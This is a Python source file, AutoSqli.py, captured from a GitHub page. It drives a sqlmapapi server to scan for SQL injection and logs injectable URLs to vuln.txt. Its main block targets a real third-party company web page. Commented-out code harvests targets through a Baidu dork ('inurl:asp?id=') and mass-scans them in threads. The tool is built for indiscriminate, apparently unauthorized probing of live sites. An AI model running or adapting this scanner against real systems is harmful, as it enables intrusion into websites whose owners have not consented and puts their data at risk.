-
Notifications
You must be signed in to change notification settings - Fork 2
/
AutoSqli.py
187 lines (173 loc) · 6.38 KB
/
AutoSqli.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
#!/usr/bin/python
#-*-coding:utf-8-*-
from __future__ import absolute_import, print_function
import requests
import time
import json
import threading
import Queue
import logging
# from config import LOG, API_URL
class AutoSqli(object):
"""
使用sqlmapapi的方法进行与sqlmapapi建立的server进行交互
"""
def __init__(self, target='', server='http://127.0.0.1:8775',data = '',referer = '',cookie = ''):
super(AutoSqli, self).__init__()
self.server = server
if self.server[-1] != '/':
self.server = self.server + '/'
self.target = target
self.taskid = ''
self.engineid = ''
self.status = ''
self.data = data
self.referer = referer
self.cookie = cookie
self.start_time = time.time()
self.logger = logging.getLogger('app.run')
self.logger.info('Creating an instance of AutoSqli for {0}.'.format(self.target))
def task_new(self):
try:
self.taskid = json.loads(
requests.get(self.server + 'task/new').text)['taskid']
#print 'Created new task: ' + self.taskid
if len(self.taskid) > 0:
return True
return False
except ConnectionError:
self.logging.error("sqlmapapi.py is not running")
def task_delete(self):
json_kill = requests.get(self.server + 'task/' + self.taskid + '/delete').text
# if json.loads(requests.get(self.server + 'task/' + self.taskid + '/delete').text)['success']:
# #print '[%s] Deleted task' % (self.taskid)
# return True
# return False
def scan_start(self):
headers = {'Content-Type': 'application/json'}
self.logger.debug("Starting to scan "+ self.target +"..................")
payload = {'url': self.target}
url = self.server + 'scan/' + self.taskid + '/start'
t = json.loads(
requests.post(url, data=json.dumps(payload), headers=headers).text)
self.engineid = t['engineid']
if len(str(self.engineid)) > 0 and t['success']:
#print 'Started scan'
return True
return False
def scan_status(self):
self.status = json.loads(
requests.get(self.server + 'scan/' + self.taskid + '/status').text)['status']
if self.status == 'running':
return 'running'
elif self.status == 'terminated':
return 'terminated'
else:
return 'error'
def scan_data(self):
self.data = json.loads(
requests.get(self.server + 'scan/' + self.taskid + '/data').text)['data']
if len(self.data) == 0:
#print 'not injection\t'
pass
else:
with open("vuln.txt", "a+") as f:
f.write(self.target+"\n")
self.logger.warning('injection \t')
# f = open('data/injection.txt','a')
# f.write(self.target+'\n')
# f.close()
# self.logger.warning('injection \t')
def option_set(self):
headers = {'Content-Type': 'application/json'}
option = {"options": {
"randomAgent": True,
"tech":"BT"
}
}
url = self.server + 'option/' + self.taskid + '/set'
t = json.loads(
requests.post(url, data=json.dumps(option), headers=headers).text)
#print t
def scan_stop(self):
json_stop=requests.get(self.server + 'scan/' + self.taskid + '/stop').text
# json.loads(
# requests.get(self.server + 'scan/' + self.taskid + '/stop').text)['success']
def scan_kill(self):
json_kill=requests.get(self.server + 'scan/' + self.taskid + '/kill').text
# json.loads(
# requests.get(self.server + 'scan/' + self.taskid + '/kill').text)['success']
def run(self):
if not self.task_new():
return False
self.option_set()
if not self.scan_start():
return False
while True:
if self.scan_status() == 'running':
time.sleep(5)
elif self.scan_status() == 'terminated':
break
else:
break
#print time.time() - self.start_time
if time.time() - self.start_time > 200:
error = True
self.scan_stop()
self.scan_kill()
break
self.scan_data()
self.task_delete()
#print time.time() - self.start_time
#
# class myThread(threading.Thread):
# def __init__(self,q,thread_id):
# threading.Thread.__init__(self)
# self.q=q
# self.thread_id=thread_id
# def run(self):
# while not self.q.empty():
# #print "threading "+str(self.thread_id)+" is running"
# objects=self.q.get()
# result=objects.run()
#
# def main():
# import argparse
# parser = argparse.ArgumentParser()
# parser.add_argument('-n', '--num', default=4, nargs='?', type=int, dest='num', help="Thread num")
# parser.add_argument('-p', '--page', default=3, nargs='?', type=int, dest='page', help="Search Page num")
# parser.add_argument('-d', '--log', default=LOG["filename"], nargs='?', type=str, dest='log', help="The path of debug log")
# args = parser.parse_args()
# logger = logging.getLogger('app')
# logger.setLevel(LOG["level"])
# fh = logging.FileHandler(args.log)
# fh.setLevel(LOG["level"])
# formatter = logging.Formatter(LOG['format'], LOG["datefmt"])
# fh.setFormatter(formatter)
# sh = logging.StreamHandler()
# sh.setLevel(LOG["level"])
# sh.setFormatter(formatter)
# logger.addHandler(fh)
# logger.addHandler(sh)
# urls = []
# logger.info('the program starts!')
# pages = args.page
# key = 'inurl:asp?id='
# urls = baidu.geturl(key, pages)
# #print urls
# workQueue = Queue.Queue()
# for tar in urls:
# s = AutoSqli(API_URL, tar)
# workQueue.put(s)
# threads = []
# nloops = range(args.num) #threads Num
# for i in nloops:
# t = myThread(workQueue, i)
# t.start()
# threads.append(t)
# for i in nloops:
# threads[i].join()
# logger.info("Exiting Main Thread")
if __name__ == '__main__':
t = AutoSqli('http://www.changan-mazda.com.cn/market/runningmen/article.php?id=191')
t.run()